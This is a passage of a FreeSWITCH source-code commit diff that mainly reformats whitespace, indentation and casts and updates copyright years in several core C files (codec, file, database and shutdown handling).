static void switch_load_core_config(const char *file)
{
switch_xml_t xml = NULL, cfg = NULL;
-
+
if ((xml = switch_xml_open_cfg(file, &cfg, NULL))) {
switch_xml_t settings, param;
-
+
if ((settings = switch_xml_child(cfg, "settings"))) {
for (param = switch_xml_child(settings, "param"); param; param = param->next) {
const char *var = switch_xml_attr_soft(param, "name");
@@ -1499,10 +1498,7 @@
"* Anthony Minessale II, Michael Jerris, Brian West, Others *\n"
"* FreeSWITCH (http://www.freeswitch.org) *\n"
"* Paypal Donations Appreciated: paypal@freeswitch.org *\n"
- "* Brought to you by ClueCon http://www.cluecon.com/ *\n"
- "************************************************************\n"
- "\n"
- );
+ "* Brought to you by ClueCon http://www.cluecon.com/ *\n" "************************************************************\n" "\n");
}
@@ -1562,8 +1558,8 @@
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "%s", switch_core_banner());
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE,
"\nFreeSWITCH Version %s Started.\nMax Sessions[%u]\nSession Rate[%d]\nSQL [%s]\n", SWITCH_VERSION_FULL,
switch_core_session_limit(0),
@@ -1601,15 +1597,15 @@
#ifdef _MSC_VER
static void win_shutdown(void)
{
-
- HANDLE shutdown_event;
+
+ HANDLE shutdown_event;
char path[512];
/* for windows we need the event to signal for shutting down a background FreeSWITCH */
snprintf(path, sizeof(path), "Global\\Freeswitch.%d", getpid());
-
+
/* open the event so we can signal it */
shutdown_event = OpenEvent(EVENT_MODIFY_STATE, FALSE, path);
-
+
if (shutdown_event) {
/* signal the event to shutdown */
SetEvent(shutdown_event);
@@ -1681,17 +1677,16 @@
switch_set_flag((&runtime), SCF_NO_NEW_SESSIONS);
}
- while(runtime.running && switch_test_flag((&runtime), SCF_SHUTDOWN_REQUESTED) && (count = switch_core_session_count())) {
+ while (runtime.running && switch_test_flag((&runtime), SCF_SHUTDOWN_REQUESTED) && (count = switch_core_session_count())) {
switch_yield(500000);
if (++x == 20) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
- "Shutdown in progress, %u session(s) remain.\nShutting down %s\n",
- count,
- cmd == SCSC_SHUTDOWN_ASAP ? "ASAP" : "once there are no active calls.");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "Shutdown in progress, %u session(s) remain.\nShutting down %s\n",
+ count, cmd == SCSC_SHUTDOWN_ASAP ? "ASAP" : "once there are no active calls.");
x = 0;
}
}
-
+
if (switch_test_flag((&runtime), SCF_SHUTDOWN_REQUESTED)) {
switch_set_flag((&runtime), SCF_NO_NEW_SESSIONS);
#ifdef _MSC_VER
@@ -1746,7 +1741,8 @@
break;
case SCSC_DEBUG_LEVEL:
if (*val > -1) {
- if (*val > 10) *val = 10;
+ if (*val > 10)
+ *val = 10;
runtime.debug_level = *val;
}
*val = runtime.debug_level;
@@ -1806,18 +1802,18 @@
switch_set_flag((&runtime), SCF_NO_NEW_SESSIONS);
switch_set_flag((&runtime), SCF_SHUTTING_DOWN);
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "End existing sessions\n");
switch_core_session_hupall(SWITCH_CAUSE_SYSTEM_SHUTDOWN);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Clean up modules.\n");
switch_loadable_module_shutdown();
-
+
if (switch_test_flag((&runtime), SCF_USE_SQL)) {
switch_core_sqldb_stop();
}
switch_scheduler_task_thread_stop();
-
+
switch_rtp_shutdown();
if (switch_test_flag((&runtime), SCF_USE_AUTO_NAT)) {
switch_nat_shutdown();
@@ -1859,11 +1855,11 @@
apr_pool_destroy(runtime.memory_pool);
apr_terminate();
}
-
+
return switch_test_flag((&runtime), SCF_RESTART) ? SWITCH_STATUS_RESTART : SWITCH_STATUS_SUCCESS;
}
-SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to,
+SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to,
const char *subject, const char *body, const char *type, const char *hint)
{
switch_chat_interface_t *ci;
@@ -1902,18 +1898,18 @@
struct system_thread_handle {
- const char * cmd;
+ const char *cmd;
switch_thread_cond_t *cond;
switch_mutex_t *mutex;
switch_memory_pool_t *pool;
int ret;
};
-static void *SWITCH_THREAD_FUNC system_thread(switch_thread_t *thread, void *obj)
+static void *SWITCH_THREAD_FUNC system_thread(switch_thread_t *thread, void *obj)
{
- struct system_thread_handle *sth = (struct system_thread_handle *)obj;
+ struct system_thread_handle *sth = (struct system_thread_handle *) obj;
-#if 0 // if we are a luser we can never turn this back down, didn't we already set the stack size?
+#if 0 // if we are a luser we can never turn this back down, didn't we already set the stack size?
#if defined(HAVE_SETRLIMIT) && !defined(__FreeBSD__)
struct rlimit rlim;
@@ -1930,11 +1926,10 @@
#if 0
#if defined(HAVE_SETRLIMIT) && !defined(__FreeBSD__)
rlim.rlim_cur = SWITCH_THREAD_STACKSIZE;
- rlim.rlim_max = SWITCH_SYSTEM_THREAD_STACKSIZE;
+ rlim.rlim_max = SWITCH_SYSTEM_THREAD_STACKSIZE;
if (setrlimit(RLIMIT_STACK, &rlim) < 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Setting stack size failed! (%s)\n", strerror(errno));
}
-
#endif
#endif
Modified: freeswitch/trunk/src/switch_core_asr.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_asr.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_asr.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -115,7 +115,7 @@
status = SWITCH_STATUS_FALSE;
goto done;
}
-
+
/* extract params */
if (*data == '{') {
param_string = data + 1;
@@ -123,7 +123,7 @@
if (zstr(data)) {
status = SWITCH_STATUS_FALSE;
goto done;
- } else {
+ } else {
*data = '\0';
data++;
}
@@ -144,7 +144,7 @@
status = ah->asr_interface->asr_load_grammar(ah, data, name);
- done:
+ done:
switch_safe_free(lgrammar);
return status;
Modified: freeswitch/trunk/src/switch_core_codec.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_codec.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_codec.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -47,14 +47,17 @@
switch_mutex_t *mutex = NULL;
switch_mutex_lock(session->codec_read_mutex);
- if (session->read_codec) mutex = session->read_codec->mutex;
- if (mutex) switch_mutex_lock(mutex);
+ if (session->read_codec)
+ mutex = session->read_codec->mutex;
+ if (mutex)
+ switch_mutex_lock(mutex);
session->real_read_codec = session->read_codec = NULL;
session->raw_read_frame.codec = session->read_codec;
session->raw_write_frame.codec = session->read_codec;
session->enc_read_frame.codec = session->read_codec;
session->enc_write_frame.codec = session->read_codec;
- if (mutex) switch_mutex_unlock(mutex);
+ if (mutex)
+ switch_mutex_unlock(mutex);
switch_mutex_unlock(session->codec_read_mutex);
}
@@ -79,14 +82,17 @@
}
SWITCH_DECLARE(void) switch_core_session_unset_write_codec(switch_core_session_t *session)
-{
+{
switch_mutex_t *mutex = NULL;
switch_mutex_lock(session->codec_write_mutex);
- if (session->write_codec) mutex = session->write_codec->mutex;
- if (mutex) switch_mutex_lock(mutex);
+ if (session->write_codec)
+ mutex = session->write_codec->mutex;
+ if (mutex)
+ switch_mutex_lock(mutex);
session->real_write_codec = session->write_codec = NULL;
- if (mutex) switch_mutex_unlock(mutex);
+ if (mutex)
+ switch_mutex_unlock(mutex);
switch_mutex_unlock(session->codec_write_mutex);
}
@@ -97,13 +103,13 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
char tmp[30];
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
switch_mutex_lock(session->codec_read_mutex);
if (codec && (!codec->implementation || !switch_core_codec_ready(codec))) {
codec = NULL;
}
-
+
if (codec) {
if (!session->real_read_codec) {
session->read_codec = session->real_read_codec = codec;
@@ -119,16 +125,16 @@
if (session->read_codec == session->real_read_codec) {
goto end;
}
-
+
if (session->read_codec->next) {
switch_codec_t *old = session->read_codec;
session->read_codec = session->read_codec->next;
session->read_impl = *session->read_codec->implementation;
old->next = NULL;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Restore previous codec %s:%d.\n",
- switch_channel_get_name(session->channel),
+ switch_channel_get_name(session->channel),
session->read_codec->implementation->iananame, session->read_codec->implementation->ianacode);
-
+
} else if (session->real_read_codec) {
session->read_codec = session->real_read_codec;
session->read_impl = *session->real_read_codec->implementation;
@@ -138,10 +144,10 @@
goto end;
}
}
-
+
if (!session->read_codec) {
- status = SWITCH_STATUS_FALSE;
- goto end;
+ status = SWITCH_STATUS_FALSE;
+ goto end;
}
if (session->read_codec && session->read_impl.decoded_bytes_per_packet) {
@@ -158,14 +164,14 @@
switch_channel_set_variable(channel, "read_codec", session->read_impl.iananame);
switch_snprintf(tmp, sizeof(tmp), "%d", session->read_impl.actual_samples_per_second);
switch_channel_set_variable(channel, "read_rate", tmp);
-
+
session->raw_read_frame.codec = session->read_codec;
session->raw_write_frame.codec = session->read_codec;
session->enc_read_frame.codec = session->read_codec;
session->enc_write_frame.codec = session->read_codec;
}
- end:
+ end:
if (session->read_codec) {
switch_channel_set_flag(channel, CF_MEDIA_SET);
@@ -178,17 +184,19 @@
SWITCH_DECLARE(switch_codec_t *) switch_core_session_get_effective_read_codec(switch_core_session_t *session)
{
- switch_codec_t *codec; codec = session->read_codec;
+ switch_codec_t *codec;
+ codec = session->read_codec;
return codec;
}
SWITCH_DECLARE(switch_codec_t *) switch_core_session_get_read_codec(switch_core_session_t *session)
{
- switch_codec_t *codec; codec = session->real_read_codec ? session->real_read_codec : session->read_codec;
+ switch_codec_t *codec;
+ codec = session->real_read_codec ? session->real_read_codec : session->read_codec;
return codec;
}
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
{
if (session->read_impl.decoded_bytes_per_packet) {
*impp = session->read_impl;
@@ -198,7 +206,7 @@
return SWITCH_STATUS_FALSE;
}
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
{
if (session->write_impl.decoded_bytes_per_packet) {
*impp = session->write_impl;
@@ -208,7 +216,7 @@
return SWITCH_STATUS_FALSE;
}
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
{
if (session->video_read_impl.decoded_bytes_per_packet) {
*impp = session->video_read_impl;
@@ -218,7 +226,7 @@
return SWITCH_STATUS_FALSE;
}
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
{
if (session->video_write_impl.decoded_bytes_per_packet) {
*impp = session->video_write_impl;
@@ -229,25 +237,25 @@
}
-SWITCH_DECLARE(switch_status_t) switch_core_session_set_read_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
+SWITCH_DECLARE(switch_status_t) switch_core_session_set_read_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
{
- session->read_impl =*impp;
+ session->read_impl = *impp;
return SWITCH_STATUS_SUCCESS;
}
-SWITCH_DECLARE(switch_status_t) switch_core_session_set_write_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
+SWITCH_DECLARE(switch_status_t) switch_core_session_set_write_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
{
session->write_impl = *impp;
return SWITCH_STATUS_SUCCESS;
}
-SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_read_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
+SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_read_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
{
session->video_read_impl = *impp;
return SWITCH_STATUS_SUCCESS;
}
-SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_write_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
+SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_write_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
{
session->video_write_impl = *impp;
return SWITCH_STATUS_SUCCESS;
@@ -311,7 +319,7 @@
switch_channel_set_variable(channel, "write_rate", tmp);
}
- end:
+ end:
switch_mutex_unlock(session->codec_write_mutex);
return status;
@@ -346,7 +354,7 @@
if (!codec || !codec->implementation || !switch_core_codec_ready(codec)) {
if (session->video_read_codec) {
session->video_read_codec = NULL;
- status = SWITCH_STATUS_SUCCESS;
+ status = SWITCH_STATUS_SUCCESS;
goto end;
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot set NULL codec!\n");
@@ -367,7 +375,7 @@
session->video_read_codec = codec;
session->video_read_impl = *codec->implementation;
- end:
+ end:
return status;
}
@@ -376,7 +384,7 @@
{
switch_codec_t *codec;
codec = session->video_read_codec;
-
+
return codec;
}
@@ -390,7 +398,7 @@
if (!codec || !codec->implementation || !switch_core_codec_ready(codec)) {
if (session->video_write_codec) {
session->video_write_codec = NULL;
- status = SWITCH_STATUS_SUCCESS;
+ status = SWITCH_STATUS_SUCCESS;
goto end;
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot set NULL codec!\n");
@@ -398,7 +406,7 @@
goto end;
}
- if (switch_event_create(&event, SWITCH_EVENT_CODEC) == SWITCH_STATUS_SUCCESS) {
+ if (switch_event_create(&event, SWITCH_EVENT_CODEC) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(session->channel, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "channel-video-write-codec-name", codec->implementation->iananame);
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "channel-video-write-codec-rate", "%d", codec->implementation->actual_samples_per_second);
@@ -412,8 +420,8 @@
session->video_write_codec = codec;
session->video_write_impl = *codec->implementation;
- end:
-
+ end:
+
return status;
}
@@ -570,13 +578,15 @@
return SWITCH_STATUS_NOT_INITALIZED;
}
- if (codec->mutex) switch_mutex_lock(codec->mutex);
- status = codec->implementation->encode(codec, other_codec, decoded_data, decoded_data_len,
+ if (codec->mutex)
+ switch_mutex_lock(codec->mutex);
+ status = codec->implementation->encode(codec, other_codec, decoded_data, decoded_data_len,
decoded_rate, encoded_data, encoded_data_len, encoded_rate, flag);
- if (codec->mutex) switch_mutex_unlock(codec->mutex);
+ if (codec->mutex)
+ switch_mutex_unlock(codec->mutex);
return status;
-
+
}
SWITCH_DECLARE(switch_status_t) switch_core_codec_decode(switch_codec_t *codec,
@@ -602,10 +612,12 @@
return SWITCH_STATUS_NOT_INITALIZED;
}
- if (codec->mutex) switch_mutex_lock(codec->mutex);
- status = codec->implementation->decode(codec, other_codec, encoded_data, encoded_data_len, encoded_rate,
+ if (codec->mutex)
+ switch_mutex_lock(codec->mutex);
+ status = codec->implementation->decode(codec, other_codec, encoded_data, encoded_data_len, encoded_rate,
decoded_data, decoded_data_len, decoded_rate, flag);
- if (codec->mutex) switch_mutex_unlock(codec->mutex);
+ if (codec->mutex)
+ switch_mutex_unlock(codec->mutex);
return status;
}
@@ -615,9 +627,9 @@
switch_mutex_t *mutex;
switch_memory_pool_t *pool;
int free_pool = 0;
-
- switch_assert(codec != NULL);
-
+
+ switch_assert(codec != NULL);
+
if (!codec->implementation || !switch_core_codec_ready(codec)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Codec is not initialized!\n");
return SWITCH_STATUS_NOT_INITALIZED;
@@ -630,14 +642,16 @@
pool = codec->memory_pool;
mutex = codec->mutex;
- if (mutex) switch_mutex_lock(mutex);
+ if (mutex)
+ switch_mutex_lock(mutex);
codec->implementation->destroy(codec);
switch_clear_flag(codec, SWITCH_CODEC_FLAG_READY);
UNPROTECT_INTERFACE(codec->codec_interface);
- if (mutex) switch_mutex_unlock(mutex);
+ if (mutex)
+ switch_mutex_unlock(mutex);
if (free_pool) {
switch_core_destroy_memory_pool(&pool);
Modified: freeswitch/trunk/src/switch_core_db.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_db.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_db.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -57,14 +57,14 @@
SWITCH_DECLARE(const unsigned char *) switch_core_db_column_text(switch_core_db_stmt_t *stmt, int iCol)
{
- const unsigned char *txt = sqlite3_column_text(stmt, iCol);
+ const unsigned char *txt = sqlite3_column_text(stmt, iCol);
- if (!strcasecmp((char *)stmt, "(null)")) {
+ if (!strcasecmp((char *) stmt, "(null)")) {
memset(stmt, 0, 1);
txt = NULL;
- }
+ }
- return txt;
+ return txt;
}
@@ -91,7 +91,6 @@
while (--sane > 0) {
ret = sqlite3_exec(db, sql, callback, data, &err);
-
if (ret == SQLITE_BUSY || ret == SQLITE_LOCKED) {
if (sane > 1) {
switch_safe_free(err);
@@ -239,7 +238,7 @@
retries = 1000;
}
-again:
+ again:
while (begin_retries > 0) {
again = 0;
@@ -290,7 +289,7 @@
}
}
-done:
+ done:
switch_core_db_exec(db, "COMMIT", NULL, NULL, NULL);
Modified: freeswitch/trunk/src/switch_core_directory.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_directory.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_directory.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/switch_core_event_hook.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_event_hook.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_event_hook.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/switch_core_file.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_file.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_file.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -52,7 +52,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Handle already open\n");
return SWITCH_STATUS_FALSE;
}
-
+
if (!fh->samplerate) {
if (!(fh->samplerate = rate)) {
fh->samplerate = 8000;
@@ -93,18 +93,18 @@
if (*p == '[' && *(p + 1) == *SWITCH_PATH_SEPARATOR) {
e = switch_find_end_paren(p, '[', ']');
-
+
if (e) {
*e = '\0';
spool_path = p + 1;
fh->file_path = e + 1;
}
- }
-
+ }
+
if (!spool_path) {
spool_path = switch_core_get_variable(SWITCH_AUDIO_SPOOL_PATH_VARIABLE);
}
-
+
file_path = fh->file_path;
}
@@ -116,8 +116,8 @@
fh->file_path = switch_core_strdup(fh->memory_pool, file_path);
}
-
+
if ((fh->file_interface = switch_loadable_module_get_file_interface(ext)) == 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid file format [%s] for [%s]!\n", ext, file_path);
switch_goto_status(SWITCH_STATUS_GENERR, fail);
@@ -127,13 +127,13 @@
fh->func = func;
fh->line = line;
-
+
if (spool_path) {
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
switch_uuid_t uuid;
switch_uuid_get(&uuid);
switch_uuid_format(uuid_str, &uuid);
-
+
fh->spool_path = switch_core_sprintf(fh->memory_pool, "%s%s%s.%s", spool_path, SWITCH_PATH_SEPARATOR, uuid_str, ext);
}
@@ -159,8 +159,7 @@
}
- if ((flags & SWITCH_FILE_FLAG_WRITE) &&
- !is_stream && (status = switch_file_exists(file_path, fh->memory_pool)) != SWITCH_STATUS_SUCCESS) {
+ if ((flags & SWITCH_FILE_FLAG_WRITE) && !is_stream && (status = switch_file_exists(file_path, fh->memory_pool)) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "File [%s] not created!\n", file_path);
fh->file_interface->file_close(fh);
UNPROTECT_INTERFACE(fh->file_interface);
@@ -193,8 +192,8 @@
switch_set_flag(fh, SWITCH_FILE_OPEN);
return status;
- fail:
-
+ fail:
+
if (switch_test_flag(fh, SWITCH_FILE_FLAG_FREE_POOL)) {
switch_core_destroy_memory_pool(&fh->memory_pool);
}
@@ -206,7 +205,7 @@
{
switch_status_t status = SWITCH_STATUS_FALSE;
switch_size_t want, got, orig_len = *len;
-
+
switch_assert(fh != NULL);
switch_assert(fh->file_interface != NULL);
@@ -214,23 +213,23 @@
return SWITCH_STATUS_FALSE;
}
- top:
+ top:
if (fh->buffer && switch_buffer_inuse(fh->buffer) >= *len * 2) {
*len = switch_buffer_read(fh->buffer, data, orig_len * 2) / 2;
return SWITCH_STATUS_SUCCESS;
}
-
+
if (switch_test_flag(fh, SWITCH_FILE_DONE)) {
switch_clear_flag(fh, SWITCH_FILE_DONE);
*len = 0;
return SWITCH_STATUS_FALSE;
}
-
+
want = *len;
- more:
-
+ more:
+
if (fh->pre_buffer) {
switch_size_t rlen;
int asis = switch_test_flag(fh, SWITCH_FILE_NATIVE);
@@ -244,7 +243,7 @@
} else {
fh->samples_in += rlen;
if (fh->channels > 1) {
- switch_mux_channels((int16_t *)fh->pre_buffer_data, rlen, fh->channels);
+ switch_mux_channels((int16_t *) fh->pre_buffer_data, rlen, fh->channels);
}
switch_buffer_write(fh->pre_buffer, fh->pre_buffer_data, asis ? rlen : rlen * 2);
}
@@ -253,10 +252,10 @@
rlen = switch_buffer_read(fh->pre_buffer, data, asis ? *len : *len * 2);
*len = asis ? rlen : rlen / 2;
-
+
if (*len == 0) {
switch_set_flag(fh, SWITCH_FILE_DONE);
- goto top;
+ goto top;
} else {
status = SWITCH_STATUS_SUCCESS;
}
@@ -271,14 +270,14 @@
fh->samples_in += *len;
if (fh->channels > 1) {
- switch_mux_channels((int16_t *)data, *len, fh->channels);
+ switch_mux_channels((int16_t *) data, *len, fh->channels);
}
}
got = *len;
-
+
if (!switch_test_flag(fh, SWITCH_FILE_NATIVE) && fh->native_rate != fh->samplerate) {
if (!fh->resampler) {
if (switch_resample_create(&fh->resampler,
@@ -288,8 +287,8 @@
}
}
- switch_resample_process(fh->resampler, data, (uint32_t)*len);
-
+ switch_resample_process(fh->resampler, data, (uint32_t) * len);
+
if (fh->resampler->to_len < want || fh->resampler->to_len > orig_len) {
if (!fh->buffer) {
int factor = fh->resampler->to_len * fh->samplerate / 1000;
@@ -316,10 +315,10 @@
memcpy(data, fh->resampler->to, fh->resampler->to_len * 2);
*len = fh->resampler->to_len;
}
-
+
}
-
+
return status;
}
@@ -342,17 +341,16 @@
if (!switch_test_flag(fh, SWITCH_FILE_NATIVE) && fh->native_rate != fh->samplerate) {
if (!fh->resampler) {
if (switch_resample_create(&fh->resampler,
- fh->native_rate,
- fh->samplerate,
- (uint32_t) orig_len * 2 * fh->channels,
- SWITCH_RESAMPLE_QUALITY, fh->channels) != SWITCH_STATUS_SUCCESS) {
+ fh->native_rate,
+ fh->samplerate,
+ (uint32_t) orig_len * 2 * fh->channels, SWITCH_RESAMPLE_QUALITY, fh->channels) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to create resampler!\n");
return SWITCH_STATUS_GENERR;
}
}
- switch_resample_process(fh->resampler, data, (uint32_t)*len);
-
+ switch_resample_process(fh->resampler, data, (uint32_t) * len);
+
if (fh->resampler->to_len > orig_len) {
if (!fh->dbuf) {
void *mem;
@@ -379,22 +377,24 @@
switch_size_t rlen, blen;
switch_status_t status = SWITCH_STATUS_SUCCESS;
int asis = switch_test_flag(fh, SWITCH_FILE_NATIVE);
-
+
switch_buffer_write(fh->pre_buffer, data, (asis ? *len : *len * 2) * fh->channels);
rlen = switch_buffer_inuse(fh->pre_buffer);
if (rlen >= fh->pre_buffer_datalen) {
if ((blen = switch_buffer_read(fh->pre_buffer, fh->pre_buffer_data, fh->pre_buffer_datalen))) {
- if (!asis) blen /= 2;
- if (fh->channels > 1) blen /= fh->channels;
+ if (!asis)
+ blen /= 2;
+ if (fh->channels > 1)
+ blen /= fh->channels;
if ((status = fh->file_interface->file_write(fh, fh->pre_buffer_data, &blen)) != SWITCH_STATUS_SUCCESS) {
*len = 0;
}
fh->samples_out += blen;
}
}
-
+
return status;
} else {
switch_status_t status;
@@ -478,7 +478,7 @@
SWITCH_DECLARE(switch_status_t) switch_core_file_truncate(switch_file_handle_t *fh, int64_t offset)
{
switch_status_t status;
-
+
switch_assert(fh != NULL);
switch_assert(fh->file_interface != NULL);
@@ -490,7 +490,7 @@
return SWITCH_STATUS_FALSE;
}
- if ((status=fh->file_interface->file_truncate(fh, offset)) == SWITCH_STATUS_SUCCESS) {
+ if ((status = fh->file_interface->file_truncate(fh, offset)) == SWITCH_STATUS_SUCCESS) {
if (fh->buffer) {
switch_buffer_zero(fh->buffer);
}
@@ -525,11 +525,13 @@
switch_size_t rlen, blen;
int asis = switch_test_flag(fh, SWITCH_FILE_NATIVE);
- while((rlen = switch_buffer_inuse(fh->pre_buffer))) {
+ while ((rlen = switch_buffer_inuse(fh->pre_buffer))) {
if ((blen = switch_buffer_read(fh->pre_buffer, fh->pre_buffer_data, fh->pre_buffer_datalen))) {
- if (!asis) blen /= 2;
- if (fh->channels > 1) blen /= fh->channels;
-
+ if (!asis)
+ blen /= 2;
+ if (fh->channels > 1)
+ blen /= fh->channels;
+
if (fh->file_interface->file_write(fh, fh->pre_buffer_data, &blen) != SWITCH_STATUS_SUCCESS) {
break;
}
Modified: freeswitch/trunk/src/switch_core_hash.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_hash.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_hash.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -57,7 +57,7 @@
sqlite3HashInit(&newhash->table, case_sensitive ? SQLITE_HASH_BINARY : SQLITE_HASH_STRING, 1);
*hash = newhash;
-
+
return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/switch_core_io.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_io.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_io.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -112,7 +112,8 @@
if (!(session->read_codec && session->read_codec->implementation && switch_core_codec_ready(session->read_codec))) {
if (switch_channel_test_flag(session->channel, CF_PROXY_MODE) || switch_channel_get_state(session->channel) == CS_HIBERNATE) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "%s reading on a session with no media!\n", switch_channel_get_name(session->channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "%s reading on a session with no media!\n",
